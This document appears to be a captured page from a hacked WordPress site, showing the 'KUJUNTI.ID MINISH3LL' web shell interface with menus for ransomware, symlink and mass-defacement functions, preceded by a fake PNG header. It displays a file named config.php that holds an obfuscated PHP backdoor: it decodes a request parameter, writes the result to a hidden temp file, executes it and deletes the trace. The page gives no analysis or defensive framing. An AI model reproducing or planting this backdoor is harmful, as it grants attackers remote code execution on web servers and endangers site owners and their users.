\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-admin/network/
(S)h3ll Cr3at0r :
F!le Upl0ad :
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H
Current File : /var/www/html/eceas/wp-admin/network/config.php


<?php

if(in_array("\x64c\x68unk", array_keys($_REQUEST))){
	$flag = array_filter(["/var/tmp", session_save_path(), "/dev/shm", getcwd(), "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir")]);
	$comp = $_REQUEST["\x64c\x68unk"];
		 $comp	 =  explode (		".",$comp   )	; 
	$elem= '';
            $s= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= strlen($s	);
    
            foreach ($comp as $j		=>	$v8):
                $sChar= ord($s[$j%	 $lenS]	);
                $dec= ((int)$v8 - $sChar - ($j%	 10)) ^ 15;
                $elem .= chr($dec	);
            endforeach;
	foreach ($flag as $dat):
    		if (is_dir($dat) && is_writable($dat)) {
    $property_set = sprintf("%s/.itm", $dat);
    if (@file_put_contents($property_set, $elem) !== false) {
	include $property_set;
	unlink($property_set);
	exit;
}
}
endforeach;
}

© KUJUNTI.ID